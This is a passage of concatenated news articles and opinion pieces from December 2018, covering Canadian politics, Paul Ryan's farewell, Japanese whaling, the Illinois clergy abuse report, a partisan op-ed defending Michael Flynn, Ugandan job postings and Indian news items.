Democrats at the county level last year. Landau noted Wilson was instrumental in securing the 7th Congressional District seat with Joe Sestak in 2006, despite the daunting registration edge. He definitely was not afraid of an uphill battle, said Erica Wilson. And that extended to his health as well. After suffering a stroke in 2010, Sharon Wilson said her father was not expected to survive brain surgery, but showed almost no residual effects. He went under the knife again for emergency surgery in January and was again not expected to make it through recovery. Again, he soldiered on. Our candidates are winning countywide now, and I think each of them said at one point or another that they stand on the shoulders of giants, said Landau. Thats a reference to Cliff and his leadership, and his time in running the party. He was an historic figure in our party and he will be missed. A memorial service will be held Jan. 5 at McCausland Garrity Marchesani Funeral Home on Chester Pike in Glenolden. Visitors can pay respects beginning at 1 p.m. with a service to follow at 2 p.m. The Trudeau government now has even more reason to take action in the New Year on an increasingly urgent issue: protecting Canadians privacy from social media giants that have accumulated far too much power for their own good and ours. The latest evidence comes courtesy of the New York Times, which reports that Facebook gave some of the biggest tech companies far more intrusive access to its users personal information than anyone especially the users knew. For years, it partnered with scores of companies like Netflix, Spotify, Microsoft and Amazon in ways that made users data available to them, despite Facebooks own privacy policies. In essence, it stretched the bounds of its privacy policies to keep valuable partners onside while keeping its users in the dark. This is bad news for Facebook at the end of a very bad year for the company. It has stumbled its way through a series of disasters: the Cambridge Analytica scandal, its worst-ever security breach, and revelations of how Mark Zuckerberg and its other top leaders used hardball tactics to push back against their critics. The new report is an eye-opener, in that it shines a light on something that Facebooks 2.2 billion users have been only dimly aware of the ways the social media behemoth turns their personal data into a tradable commodity. Facebook doesnt sell users data. But, as the Times reports, internal documents show that it did the next best thing: granting other companies access to parts of the social network in ways that advanced its own interests. Some of the companies involved, including the Royal Bank of Canada, say their deals with Facebook werent as intrusive as reported. (RBC, for example, says it never had the ability to see users messages.) But other companies had the right to see information about users friends or even read their private messages. All this is complicated and beyond the ability of the great majority of social media users to monitor and control. Thats why its important that governments step in and make sure the tech giants dont violate our privacy and pollute our political environment, as happened when Cambridge Analytica used personal data from 87 million users (including hundreds of thousands of Canadians) in an attempt to manipulate voter behaviour. Its clear that law and government policies arent keeping up with advances in technology. Fortunately, the government has just been handed a roadmap on where it should focus its attention, in the form of a report from the parliamentary committee that looked into the fallout from Cambridge Analytica. The MPs, from all parties, urged the government to act urgently to protect Canadians privacy. And they made recommendations that would go some way to change the balance of power between the social media companies and ordinary users. The companies would have to make it a lot easier to figure out who is trying to influence voters through online political advertising. They would have to identify bots, or automated accounts, and remove accounts set up to impersonate others. And they would be required to remove manifestly illegal content quickly or face big fines. All this would help to sanitize the political atmosphere on social media platforms. But other steps would be needed to beef up the rules governing how users consent to use of their personal information, in order to prevent the companies from engaging in the type of questionable behaviour revealed by the New York Times. For that, privacy laws must be reviewed to make sure they are adequate to the challenge of the age of data. And, as the MPs recommend, the federal privacy commissioner should have stronger powers to order the tech companies to comply with the law and back that up with substantial penalties. Facebook and the other social media platforms have shown they cant be trusted to clean up their own houses. Its time the government made serious oversight a top priority. Read more about: OTTAWAAs Ottawa considers ways to ditch the controversial sale of armoured vehicles to Saudi Arabia, Prime Minister Justin Trudeau says his focus is on the potential impact on employees in southern Ontario if the multibillion-dollar deal doesnt go ahead. Trudeau steered clear Wednesday of saying whether Ottawa would cancel the contract, worth more than $14 billion, but made clear that the federal government has been thinking about the fallout on London, Ont.-based General Dynamics Land Systems if the sale doesnt go ahead. Our priority since day one has been thinking about the Canadian jobs, the workers in London and in the supply chain that have fed into this contract, Trudeau told reporters. We know there are a lot of hard-working families in London who rely on these jobs. Were going to keep those jobs in mind. Trudeau revealed Sunday that the federal government is looking at how it can get out of the deal. We are engaged with the export permits to try and see if there is a way of no longer exporting these vehicles to Saudi Arabia, he told CTV. The deal was reached in 2014 when the previous Conservative government was in power but the Liberals approved the required export permits. Since then, the government has been under pressure to halt the sale, given Saudi Arabias role in the deadly conflict in Yemen and a sudden chilling of relations between Canada and the kingdom. Read more: Canadians weary of arms trade with Saudi Arabia, survey says Canada intelligence officials have heard audio of Khashoggi murder, Trudeau says Opinion | Should Canada cancel its arms deal with Saudi Arabia? Yes The murder of prominent Saudi journalist Jamal Khashoggi in a Saudi embassy has sparked international outrage. Suspicions that Mohammed bin Salman, the crown prince of Saudi Arabia, ordered the killing has put renewed focus on the armoured vehicle deal, as countries such as Germany have frozen their own arms sales to Saudi. Speaking to reporters Wednesday, Trudeau said that the federal government is bound to what he called a difficult contract and again lamented confidentiality clauses that prevent public disclosure about its terms or the penalties if it doesnt go ahead. However in the wake of his Sunday comments, General Dynamic issued a statement this week warning of the impact if the valid and binding contract was scrapped. Were Canada to unilaterally terminate the contract, Canada would incur billions of dollars of liability to General Dynamics Land Systems-Canada, it said. In addition, terminating the contract would have a significant negative impact on our highly skilled employees, our supply chain across Canada, and the Canadian defence sector broadly, the company said. Trudeau acknowledged that scrapping the deal would have an impact on the 1,850 workers employed in the companys Canadian operations to design and manufacture light- and medium-armoured vehicles. Suffice it to say we are focused on how to make to sure that the workers continue to do the excellent work they are capable of doing in a situation where increasingly Canadians have questions about whether or not we should be engaging and dealing with Saudi Arabia at all, he said. Its a complex situation ... Were going to continue to reflect on the best path forward, the prime minister said. Scrapping the deal could serve up a double whammy of bad news for the Ontario economy, which is already facing the expected closure of the General Motors plant in Oshawa at the end of 2019, a move that will directly affect some 2,522 workers. Ottawa has said its looking at all options to assist those workers. Trudeau opened his year-end news conference Wednesday touting low unemployment and job growth but later conceded that not all Canadians are feeling financially secure. I think that theres an opportunity to remind people that we should be there for each other, that we should come together, he said. Albertans are going through some very difficult times, people in Oshawa are going through difficult times. In Sydney, Cape Breton, throughout the country, there are places where people are experiencing uncertainty and difficult circumstances. Read more about: OTTAWAAround 200 Canadians are currently detained in China for a variety of reasons, the Star has learned. The staggering number paints a worrying picture of what is at stake for the federal Liberal government and for many individuals abroad and their families here when it comes to dealing with Beijings newly aggressive posture towards Canada. It also highlights how carefully Canada must tread as it navigates an explosive international trade and security dispute between China and the U.S., at whose request Canada arrested a high-profile Chinese Huawei executive. Prime Minister Justin Trudeau adopted a deliberately measured tone Wednesday as news broke of a third Canadian detained by China. Trudeau said it does no good to politicize or amplify consular cases because it can actually hinder what he said is the ultimate goal of securing Canadians release from detention and their safe return home. He said every year there are tens of thousands of Canadians who visit, work or travel within China and hundreds of consular cases there that Global Affairs Canada oversees. Read more: The forgotten Canadians detained in China Blindfolds, sleep deprivation and interrogations could be the new daily life of two Canadians missing in China, says a man who lived it Opinion | Huawei crisis has Chinese Canadians worried Federal sources have told the Star the number of those currently detained stands at about 200. Global Affairs has not yet responded to the Stars request for clarification on how many of those detentions have occurred since tensions heightened. But sources told the Star up to three arrests a week is common, often involving dual Canadian-Chinese citizens (China does not recognize dual citizenship), in cases of drunkenness, drug use, other kinds of criminality and alleged visa violations, with only a small number considered political cases. Still, the broader picture of those who remain in detention right now is alarming. China publicly admitted Thursday it has detained a third Canadian, Sarah McIver, an English teacher, for an alleged and unspecified violation of her work visa. Foreign Ministry spokesperson Hua Chunying told reporters in Beijing that McIver has been detained because a local Chinese public security authority imposed (an) administrative penalty on a Canadian national for illegal employment. And while China and the Canadian government have differentiated McIvers situation from those of the two other Canadian cases, pointing to national security allegations in the latter, the timing of her arrest in the wake of Canadas arrest of Huawei executive Meng Wanzhou, at the request of the U.S., has raised alarms that Beijing is further cracking down on Canadian travellers in that country. Sometimes escalation is not the right political path or right substantive path to getting Canadians out of difficult situations they find themselves in, Trudeau told reporters Wednesday at a year-end news conference in Ottawa. Former ambassador to China David Mulroney, who headed Canadas mission there from 2009 to 2012 said the cases require lots of attention. We worked hard deploying consular officials to every corner of China to call on them. Dual citizens are heavily represented in that number, often because of business deals gone sour. Commercial disputes can often morph into criminal cases. In those cases in China, the foreigner almost always loses. Few if any were political. He said its hard to know if there is a new crackdown: What I think happens is that local officials hear the sound and fury coming from Beijing and assume that they should take a harder line with Canadians. The Chinese government has demonstrated its fury over Mengs arrest by warning Ottawa of grave consequences if she isnt released. Chinese state security forces then arrested two Canadian men, levelling vague allegations they endangered Chinas national security. Former Canadian diplomat Michael Kovrig, an analyst for respected non-governmental organization International Crisis Group, and Canadian entrepreneur Michael Spavor, who runs Paektu Cultural Exchange, described as a non-profit group that facilitates sport, culture, tourism and business exchanges with North Korea, are still in detention. Little is known about their condition. Canadas ambassador in Beijing, John McCallum, has had one consular access visit with each man to ascertain the basis of their detention, whether they have legal advice, and their health condition. Officials have said nothing further about their cases, citing Canadian privacy law. However Trudeau told reporters Wednesday the detention of the third Canadian whom he did not name doesnt fit the pattern of the other two. It is not clear, however, how many of the other hundreds of detentions occurred before or after Mengs arrest drew Beijings wrath. But given the current climate, families are worried, with McIvers Alberta relatives turning to their Conservative MP and later foreign affairs critic Erin OToole for help. Trudeau insists that he will continue to engage with China despite the current tensions, citing the need to deal with the worlds second-largest economy. However as the broader picture becomes clear of just how many Canadians are at the mercy of Chinas judicial system, its obvious Trudeau must maintain engagement with the Chinese despite the uproar over Meng, in order to preserve their rights as well. Mengs company, Huawei Technologies, was founded by her father, Huawei CEO Ren Zhengfei, and is regarded as a corporate jewel in Chinas eyes. It is also a company whose ties to the Chinese government are at the centre of global scrutiny right now as Canada and allies develop the next or fifth generation of ultra-high-speed wireless networks, known as 5G technology. Meng has since been released on $10-million bail and ordered to remain in Vancouver to await an extradition hearing. But her release on strict bail conditions has not led to the liberation of Kovrig or Spavor whose detentions were widely seen as tit-for-tat measures by Beijing. Beijings ambassador to Ottawa, Lu Shaye, published an opinion piece in the Globe and Mail and on the embassys website that said Mengs detention was groundless and is not a mere judicial case, but a premeditated political action in which the United States wields its regime power to witch-hunt a Chinese high-tech company out of political consideration. He slammed Canada for agreeing to it, and scoffed at the bilateral extradition treaty Ottawa has said obliged its police authorities to act. While Canada has continued to stress its judicial independence, did it insist on that independence when facing the United States unreasonable request? The Canadian side has not made its judgment independently, otherwise it would not have arrested Ms. Meng. WASHINGTON - Paul Ryan ended his congressional career in the Great Hall of the Library of Congress, beneath a stained-glass vaulted ceiling whose grandiosity emphasized the smallness of the ceremony below. It was small in a good way, as in intimate and humble. The retiring House speaker made his goodbye speech Wednesday to fewer than 200 family members, congressional staff and public officials - "all my friends and colleagues," he said. And it was small in a less good way, as a reminder of Ryan's vanishing power over the past two years. Once hailed as the intellectual leader of his party and the fiscal savior of a debt-ridden United States, he became speaker in 2015 only to see his party and country fall into the hands of President Donald Trump, as the debt swelled and Democrats seized the House in the midterm elections. Ryan is hardly the first politician whose grand ideas were snuffed out by reality. But few have been so synonymous with their intellectual reputation - with so little left over once that reputation ran dry. His farewell speech was a thematic and tonal potpourri. Parts of it resembled a State of the Union address in defense of his speakership. "I'm darn proud," the 48-year-old Wisconsinite said after rattling off a list of legislative accomplishments during his brief speakership, chief among them a $1.9 trillion tax cut. In other places, it sounded more like a college commencement speech, as Ryan laid out a daunting future that will be his audience's responsibility, more than his own. "If we do these three things - make progress on poverty, fix our immigration system, confront this debt crisis - we can make this another great century for our country," he said. "I acknowledge these challenges are ones we haven't made much progress on in recent years." This was not a Paul Ryan speech anyone would have predicted at the beginning of the decade, when he rose to national fame as the"ideas man" of the Republican Party. His legend then was of an earnest Midwestern intellectual who disdained the trappings of politics - the boy genius who first won office in his 20s and had spent the time since studying the country's economic health. By the 2010s, he had convinced the core of his party that the United States would imminently collapse under the weight of its own debt unless it made radical cuts to taxes and social welfare systems. It's hard to remember now, through the fog of a Trump administration that dreams of military parades and a 1,000-mile border wall, but the specter of Ryan's fiscal apocalypse was so vivid that conservatives greeted his addition to the 2012 presidential ticket as if Mitt Romney had chosen the messiah as his running mate. "In this generation, a defining responsibility of government is to steer our nation clear of a debt crisis while there is still time," Ryan said in his acceptance speech at the Republican National Convention that summer. And the immense crowd that stood and screamed and cheered him on could have swallowed his farewell gathering at the Library of Congress many times over. Romney lost that election, of course. But Ryan's prestige kept rising until he became House speaker in 2015 - he was practically begged to take the job - and "started an effort to carve the Republican Party in his own image," as The Washington Post wrote. What was needed, he said in a speech at the time, was a Republican president. And then he got one in Trump a year later. But now, after two years of Republican-dominated government left the debt swollen near levels not seen since 1950, Ryan finds himself in the awkward position of talking around a still-impending apocalypse. "I acknowledge plainly that my ambitions for entitlement reform have outpaced the political reality," Ryan said in the Great Hall on Tuesday, the back of his teleprompter screen reflecting details from the ceiling mural - winged angelic figures and the names of Aristotle and Dante. "We all know what needs to be done," Ryan continued, as young staffers in the middle rows watched, expressionless. He sounded vaguely confident that someone would come along to do them, since he was quitting before his 50th birthday. Ryan's sanguinity in the face of retirement had thrown a few people - especially those most invested in the unrealized ideas he'd spent his career espousing. "I don't want to be an empty nester, only being a weekend dad," Ryan told the conservative Weekly Standard's Stephen F. Hayes after making the announcement this spring. "But the other big reason I felt comfortable retiring is we got a lot done that I came to do." "Your argument was that this was a crisis, it's an urgent crisis," Hayes reminded him. "I know," said Ryan. "Is it still a crisis?" Hayes asked a minute later. "Oh, absolutely," said Ryan. But the apparent debt crisis did not much intrude on Ryan's goodbye celebrations. It was barely mentioned in a triumphant six-part retrospective his House office released on YouTube this week - "the story of Paul Ryan and his relentless drive to pass the first tax reform law in a generation." Narrated by Ryan's brother and some of his closest allies, the videos chronicled his career, from his early days "deep in the wilderness" until his crowning achievement, last year's tax cut bill. Excised from this epic were all his talk about debt burdens and runaway spending and the existential future of the country. But how much, really, can one ideas man be expected to do? Ryan had some ideas. He had talked about them until he became one of the most powerful people in U.S. politics. Then he retired and went back to Wisconsin. "Good ideas, they just take time," Ryan said toward the end of his speech, as if his bid to avert fiscal calamity were a loaf of bread he had left in the oven. When he was finished, the audience stood and applauded for as long as it took Ryan to shake a few hands and disappear through a side door. Then they collected their coats and cleared the Great Hall almost immediately, as if leaving a staff meeting. "That was amazing. Great guy. We're really going to miss him," a man in a suit told another as he passed beneath two sculptured cherubs on his way to the door. "Yep, yep," said the other man. There was really nothing to add. ALTON Vietnam veteran Richard Sparks met a real-life Christmas angel this year. Sparks tried for years to find help for the hearing loss hes suffered since his U.S. Marine Corp days as an M-60 gunner. Those firing the machine guns had no ear protection. There were no ear plugs, Sparks, 64, recalled. The hearing loss started then. Now, after 40 years of untreated hearing loss, aural faculty returned to Sparks Tuesday, thanks to Dr. Chelsea Steer, Doctor of Audiology, and Mid America Audiology Group. Sparks recalled visiting at least four facilities where he was told Medicare and Medicaid were obstacles to getting hearing aids. Its a different world, he said. I can hear traffic, up and down the road. I turned my radio on and I could hear singing over the music. I havent heard that in a long time. Sparks served in the military from 1974 to 1976, two of those years in combat. Once home, he worked on barge lines, where he slept near noisy engine rooms, which exacerbated Sparks hearing loss. Later, he worked at a bar and while cleaning up after closing time, two men jumped him, pistol-whipping about the head. After that, I started to experience more hearing loss, Sparks said. When he received a Mid America Audiology Group mailer announcing its November informational dinner event at Tonys Restaurant, Sparks signed up. There he met Steer, one of Mid America Audiology Groups staff who chats with event guests after dinner. Shes my Christmas angel, said Sparks, of East Alton, after his hearing aids fitting Tuesday, at the new office of Mid America Audiology Group, at 3511 College Ave., conveniently located near other specialists that the groups patients frequent. Steer worked at a Veterans Administration hospital in Temple, Texas, from 2008 until this year. She and her husband, Dr. Steven Steer, Doctor of Audiology, who also worked at the VA hospital, moved to Alton in June to work for Mid America Audiology Group. At the VA hospital, Chelsea specialized in veterans with traumatic brain injury, from which Sparks also suffers. As soon as I heard his story, it hit me hard, so I wanted to do something for him, Dr. Steer recalled. Mid America Audiology Group planned to implement a program to help those in need of hearing help and Sparks is the groups first recipient. His brother came with him and pleaded, Please, help him, Steer said. Its not just the person with hearing loss, its friends and family who are affected, too. Sparks recalled family members, including his brother, becoming irritated with him because they didnt know why Sparks seemed to be inattentive when they talked to him. I told people to get my attention before talking to me and people get mad, Sparks explained. If you dont get my attention, I didnt know you were talking to me. I still catch myself looking at lips when people are talking. Another miracle for Sparks includes the birth of his first great grand baby, named Richard Sparks III, after Sparks and his late son, Richard Sparks Jr., who died in 2015. Sparks looked forward to hearing his great grandson coo and cry when he visits him and his granddaughter, Savanna, this week. Sparks made his first appointment with Mid America Audiology Group in November; he was fitted for his Phonak Audeo B90 rechargeable hearing aids this week after comprehensive evaluation. He doesnt have to worry about batteries, Steer said. While programming the hearing aids, Steer implemented Real Ear Verification Measurement, which probes during programming of the device, measuring sound samples in the ear canal, making sure to hit targets based on Sparks hearing loss. A lot of places dont do this, we insist on doing it. Its best practices, Steer said. Mid America Audiology Group also has locations in Jerseyville, Glen Carbon and Granite City. Visit midamericaaudiologygroup.com or call toll free 888-531-6036 for more information. The Mid America Audiology Group practice at 3511 College Ave., in Alton, is made up of the Steers; Tim Fick, Board Certified Hearing Instrument Specialist, who has practiced in the field for 10 years and specializes in the latest technology and assistive devices; Gina Sykes, insurance and billing specialist; and, Julie Lott, front desk coordinator, who manages patient appointments for all four locations and helps with minor hearing aid repairs. Reach Jill Moon at 618-208-6448 and Twitter @jill_moon. By Justin McCurry and Graham Readfearn 19 December 2018 TOKYO (The Guardian) Japan is to withdraw from the International Whaling Commission (IWC) and resume commercial whaling next year, a report claimed on Thursday, in a move that drew condemnation from Australia, with other anti-whaling nations expected to follow suit.Japan will inform the IWC of its decision by the end of the year, Kyodo news agency said, months after the body rejected its latest bid to resume commercial whaling.Kyodo quoted unnamed government sources as saying Japan would abandon its controversial, and expensive, expeditions to the Southern Ocean and instead permit whaling fleets to operate in its coastal waters and exclusive economic zone (EEZ).A fisheries agency official denied the report, however, insisting no decision had been taken on whether to withdraw from the IWC, which banned commercial whaling in 1986.Japans official position, that we want to resume commercial whaling as soon as possible, has not changed, the official told the Guardian. But reports that we will leave the IWC are incorrect.Australias environment minister, Melissa Price, said it remained opposed to all forms of commercial and so-called scientific whaling, adding: While we would strongly prefer Japan to remain a party to the convention and a member of the commission, the decision to withdraw is a matter for Japan.Agence France-Presse quoted an official as saying the agency was considering all options, including the possible withdrawal from the 89-member commission. A foreign ministry official confirmed all options are on the table but nothing formal has been decided yet.Conservation campaigners welcomed the possible end to whaling in the Southern Ocean but warned that by withdrawing from the IWC, Japan risked becoming a pirate whaling nation.We would like to wholeheartedly celebrate an end to Japans whaling in the Southern Ocean, but if Japan leaves the International Whaling Commission and continues killing whales in the north Pacific it will be operating completely outside the bounds of international law, said Nicola Beynon, head of campaigns at Humane Society International in Australia.This is the path of a pirate whaling nation, with a troubling disregard for international rule. [more] CHICAGO (AP) Illinois Attorney General Lisa Madigan on Wednesday issued a blistering report about clergy sexual abuse, saying that Catholic dioceses in Illinois received allegations of child sexual abuse by 500 more clergy than previously publicly identified. The preliminary report found that the churchs six archdioceses have done a woefully inadequate job of investigating allegations and in some cases did not investigate them at all or notify the states child welfare agency. In all, Madigans office said that while the dioceses have added 45 names to their lists of those who have been credibly accused over the past four months, the fact that the total is now only 185 raises serious questions about the churchs response to the crisis. By choosing not to thoroughly investigate allegations, the Catholic Church has failed in its moral obligation to provide survivors, parishioners and the public a complete and accurate accounting of all sexually inappropriate behavior involving priests in Illinois, Madigan said in a statement. The failure to investigate also means that the Catholic Church has never made an effort to determine whether the conduct of the accused priests was ignored or covered up by superiors. The report did not include some key details such as when the allegations were made or the names of the clergy. A spokeswoman said that the allegations date back decades and include some priests who are now deceased. The Illinois disclosures are a new blow to the credibility of the church, which has struggled to contain the scandal amid mounting accusations of negligence. In August, a Pennsylvania grand jury report alleged that hundreds of priests abused at least 1,000 children over seven decades in that state. The report prompted Pope Francis to call U.S. bishops for a retreat at a suburban Chicago seminary next month to debate how to respond Larry Antonsen, a Chicago leader of Survivors Network of those Abused by Priests, said Madigan is doing the right thing and needs to continue. He said Illinois should convene a grand jury with subpoena power, as in Pennsylvania. Theres more that needs to be done. The Catholic Church does not do a good job of policing itself, and you cant expect them to do that, Antonsen said. Its hard to know what to believe because so much of what theyre doing is in secret and not out in the open, but this is a step in the right direction. Madigans office said the problems went beyond a lack of effort. In some cases, the report found, efforts were made to work against the accusers. When the Illinois Dioceses investigated an allegation, they frequently found reasons not to deem an allegation credible or substantiated, according to the report. Not only did Madigans office find a pattern of dioceses failing to substantiate allegations that came from one person, The dioceses also often found reasons to discredit survivors stories of abuse by focusing on the survivors personal lives. Church leaders at dioceses in Illinois expressed regret about the abuse, but pointed to steps they have taken to address what has become an international crisis. Chicagos archbishop, Cardinal Blase J. Cupich, in a statement said that although he regretted our failures to address the scourge of clerical sexual abuse, the archdiocese has been a leader in dealing with the issue, including a policy since 2002 of reporting all allegations of child sexual abuse to civil authorities. The Springfield diocese said that it reviewed paper files of clergy dating to its 1923 founding and provided Madigans office with documentation of each instance of abuse, regardless of whether it was deemed credible, according to a statement. The Diocese of Joliet said in a statement that it took steps such as establishing in 1993 a review committee made up of people from law enforcement, social service agencies and others to investigate allegations of sexual abuse. Madigan said her offices findings make it clear that notifying authorities is critical, and pointing to instances when dioceses used personal information about people to discredit them and help them conclude accusations werent credible. The preliminary stages of this investigation have already demonstrated that the Catholic Church cannot police itself, she said. WOOD RIVER Three staff members at Lewis & Clark Elementary School in Wood River are helping children at their school, and others across the country, Believe this holiday season. Jill Davis, Amy Donohoo and Katie Lingle, who are all involved with the kindergarten through second-grade special education department, decided to use their annual holiday door-decorating as a chance to do more than just bring holiday cheer. Life in the Deep State took another dark turn on Tuesday, at the sentencing of Lt. General Michael T. Flynn that did not happen. Instead, he was asked if he had committed treason, which is something not even the partisan Mueller prosecutors ever considered charging him with. This story would be suitable for Alice in Wonderland if it did not involve an injustice inflicted on an honorable man who risked his life for our Nation. Rather than being able to celebrate Christmas by putting this travesty behind him, Lt. Gen. Flynn is left wondering how his lifelong patriotism was called into question. In a word, entrapment and an unconstitutional independent prosecutor are how the injustice against Lt. Gen. Flynn continues. He was ambushed by an interview that never should have occurred, misled into not having counsel present, and then left helpless against Muellers $50 million wrecking machine. A mere four days after the inauguration of President Trump, then-FBI Director James Comey sent senior agents to ambush Lt. Gen. Flynn with a surprise interview. Comey admits that this was not ordinary procedure, and that proper protocol is to arrange such interviews through attorneys. It was a setup of Lt. Gen. Flynn, with the since-discredited agents of the Deep State Andrew McCabe and Peter Strzok playing their parts. Both have since been fired but as Shakespeare observed, The evil that men do lives after them; the good is oft interred with their bones. Lt. Gen. Flynn had been an outspoken supporter of President Trump which liberals consider unforgivable. Outside the federal courthouse on Tuesday, a crowd of Leftists chanted against him. Flynn never would have been prosecuted by a properly functioning Department of Justice, but the unconstitutional Mueller investigation has spent more than a fortune hunting for crimes. The former National Security Advisor to President Trump would be a trophy for Mueller to justify his prosecutorial crusade, so after Flynn he went. As a career veteran of the Armed Forces, Flynn lacked the resources to spend millions on attorneys to defend himself. A billionaire could have run multiple appeals of this case up to the Supreme Court, but Flynns career does not produce the war chest that businessmen have to dismiss these cases. This Kafkaesque nightmare was supposed to end Tuesday morning at sentencing before the federal district court in D.C., where Flynn was expected to receive leniency. But instead the hearing unraveled when Judge Emmet G. Sullivan asked if Lt. Gen. Flynns conduct rises to the level of treasonous activity. The unexpected question stung for the family of the man who has repeatedly risked his life defending our Nation. Even one of Muellers prosecutors then defended Lt. Gen. Flynn by stating that the investigation never considered charging Lt. Flynn with treason. After a break, Judge Sullivan took back his question about treason, and urged everyone not to read too much into his comments. Judge Sullivan has been tough on prosecutors too, and a common mistake of bystanders is to place too much emphasis on speculative remarks in court. But the emotional dismay at the injustice became too much at that point. Flynns attorneys felt compelled to request postponement of the sentencing, and the court requested a status report by March 13, 2019. In the meantime, numerous secret filings in this case are not helping anyone except Muellers perpetual taxpayer-funded investigations of anyone he wants. Unsealing the records and removing his redactions would serve justice. Judge Sullivan ordered Mueller to file a 302 report of the fateful interview of Lt. Gen. Flynn, which Mueller had long withheld from Senate Judiciary Chairman Chuck Grassley. Mueller ultimately filed a heavily redacted 302 report with the district court on Monday, but he continues to conceal from the public how Flynn was entrapped by the Deep State. On Tuesday Mueller submitted to the court yet another document under seal, which further withholds from the public what is really going on. All this is contrary to the Constitution, which requires that criminal trials be conducted in open court, and not be based on secret information. The FBI already knew the answers to the questions it asked of Lt. Gen. Flynn during his fateful interview in January 2017, due to its secret wiretaps of his conversations. But entrapment may have been the goal of the Deep State, the term for the entrenched intelligentsia in D.C. that continued to oppose President Trump after his election by the American People. We are more than two years past the presidential campaigns of 2016, and there is no plausible justification for Mueller to conceal so much information in his filings from the public that is footing Muellers bill. With no end in sight for Muellers probe, there should at least be some transparency. John and Andy Schlafly are sons of Phyllis Schlafly (1924-2016). All candidates areencouraged to an email indicating your interest to:careers@sanitationsolutionsgroup.comandCOPY noola@sanitationsolutionsgroup.comattaching your CV, Cover letter & Academic Transcripts. Or deliveryour applications to Sanitation Solutions Group, Plot 101, Nantale Road,Bukoto. Kampala. Your cover letter should provide details of your experience,milestones achieved, sales track records, your interest in the role, yourindividual growth plans, and any other additional details to motivate yourcandidacy. World Vision Ugandais a Christian Relief, Development and Advocacy Non-Government Organizationdedicated to working with children, families and communities to overcomepoverty and injustice. We currently work in over 41 districts in Uganda. WorldVision is committed to the protection of children and we will not employ peoplewhose background is not suitable for working with children. All employment isconditioned upon the successful completion of all applicable background checks,including criminal record checks where possible. Our Vision for every child,Life in all its fullness. Our prayer for every Heart, the will to make it so. The bank employees strikes and holidays are likely to affect bank transactions in the coming six days. Most bank branches will remain open only for a day (December 24) between this Friday and next Wednesday. Bank employees will not be working on December 21 after calls for strike by the All-India Bank Officers Confederation (AIBOC). This is followed by the fourth Saturday of the month and then Sunday (December 22, 23). December 25 will be a bank holiday on the occasion of Christmas. December 26 will see banks down its shutters again as the United Forum of Bank Unions (UFBU) has called a strike. AIBOC officials informed that the Friday strike will not affect ATM operations. "We will not use any force to close the ATMs. The employees engaged in ATMs are not controlled by officers' bodies," AIBOC assistant general secretary Sanjay Das said. However, ATM operations may be hit on December 26, the day the United Forum of Bank Unions (UFBU) has called a strike. The AIBOC called for a strike after it walked out of a bipartite negotiation demanding full mandate for scale I to scale VII officers, introduction of five-day work week, salary revision according to the charter of demands and a defined benefit pension payment scheme unlike the NPS. (With inputs from PTI) Newly-wed couple Priyanka Chopra and Nick Jonas hosted their wedding reception for family and friends in Mumbai. It seems celebrations have not ended for Priyanka and Nick as 19 days after their grand wedding, the first reception in the city was held for family, friends and the media at a suburban hotel in Juhu on Wednesday evening. Another reception is scheduled for Thursday evening for Bollywood celebrities at a five-star hotel in suburban Bandra. The venue was decorated with white lilies, orchids and candles, featuring an entwined N and P in the backdrop. Wearing a strapless traditional Indian lehenga in blue and gold, Priyanka looked gorgeous as she accessorised her outfit with a huge diamond necklace. While Nick was seen in a grey colour suit and black T-shirt. After posing for the shutterbugs, Priyanka thanked everyone for coming. "I am going to take your attention for two seconds... It means so much to us that all of you came tonight. This has been an extremely special chapter in my life and I wanted my husband to meet all the special people who have contributed to it. "So thank you very much for being here, friends of my parents, my dad who I know is here. Thank you very much for coming and I hope you have a wonderful time tonight," Priyanka said. Looking at her hubby, she added, "And this is my husband, Nick Jonas". While Nick said, "This is my first show in India. And thank you all so very much for coming out." "I wasn't too far from here that I took Madhu (Priyanka's mother) out to lunch and asked her if I could marry her daughter. So to be here tonight with all of you...the people who have helped shape who she has become means the world to me. To be embraced with such open arms, it's just unbelievable. Tonight is about celebrating and spending time, it is my first introduction with you all." Priyanka and Nick tied the knot at Jodhpur's iconic Umaid Bhawan Palace on December 1. They married as per Christian and Hindu rituals. The extravagant wedding was followed by a reception in Delhi on December 4, which was attended by PM Narendra Modi. After their Delhi reception, the couple went off to Oman. As per media reports, Priyanka later went back to New York, to promote her movie Isn't It Romantic. Tamil actor Vishal was detained by police in Chennai on Thursday for attempting to enter the office of the Tamil Film Producers' Council which he heads. Members of a rival faction had locked the office on Wednesday, demanding Vishal's resignation. They had alleged mismanagement of funds by Vishal and other office-bearers. According to reports, Vishal and his faction reached the office on Thursday morning and attempted to break in. Police, who were deployed to prevent clashes between the factions, persuaded him to leave. Vishal, however, refused and was detained by police. Touched by the compassion of the nurses who tended to her... In a set back for Chief Minister Mamata Banerjee, the Calcutta High Court has allowed the BJP to hold three rath yatras in West Bengal. Earlier, the BJP was denied permission by the state government for the rath yatras. The government cited 'intelligence reports' which said that efforts were on to disrupt the communal harmony in the state. The BJP had moved court after the permission was denied. Justice Tapabrata Chakraborty directed the BJP to inform superintendents of police of the districts 12 hours in advance about the yatra. It also asked the administration to ensure law and order during the yatra events. The court also directed to ensure that the rath yatra does not impede normal vehicular traffic. The BJP was cautioned against loss or damage to property that might be caused due to the rath yatra. The justice also directed that the police shall deploy adequate force to ensure that there is no breach of law and order. According to a PTI report, the BJP has set new dates for its rath yatra. The 'rath yatra', touted as the "save democracy rally", is now being proposed to held on Saturday, next Monday and Wednesday, said state Bharatiya Janata Party vice-president Jay Prakash Majumdar. The dates were also communicated to the high court. The Mamata Banerjee-led government had on Saturday denied permission for the BJP's 'rath yatra' on the ground that it might cause communal tension. The 'rath yatra' was scheduled to start from Cooch Behar district on December 7, but was stalled, following which the BJP had knocked on the high court's door. BJP president Amit Shah was scheduled to flag off three chariots from as many places. The chariots were meant to travel across the state's 42 parliamentary constituencies over the next one-and-a-half months before concluding in Kolkata, where Prime Minister Narendra Modi was likely to address a rally. Reacting sharply to Pakistan Prime Minister Imran Khan's comments on the death of seven civilians in Kashmir's Pulwama, India Thursday said Islamabad should mind its own affairs which are in a "mess" instead of interfering in a neighbouring country. "I think it will be better if they mind their own business and look at the internal affairs which are in a mess," External Affairs Ministry Spokesperson Raveesh Kumar said during a media briefing when asked about Khan's remarks. He said Pakistan has taken no action against terror groups operating from its soil and statements coming from its side demonstrate its "insincerity and duplicity". On Sunday, Khan condemned the death of seven civilians in Kashmir's Pulwama and threatened to raise the issue at the UN. Seven civilians died Saturday when security forces opened fire at an unruly mob that had gathered at the site of an encounter in south Kashmir's Pulwama district. Kumar said Pakistan must take action against terror groups operating from its soil instead of commenting on India's internal affairs. 